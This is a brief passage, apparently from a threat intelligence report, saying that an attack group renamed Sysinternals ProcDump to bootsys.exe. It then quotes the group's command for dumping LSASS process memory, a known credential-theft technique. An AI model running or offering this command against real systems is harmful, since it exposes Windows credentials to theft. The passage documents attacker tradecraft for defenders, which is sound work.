For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe: c:\users\public\downloads\bootsys.exe  -accepteula -ma lsass.exe C:\Users\Public\Downloads\lsass.dmp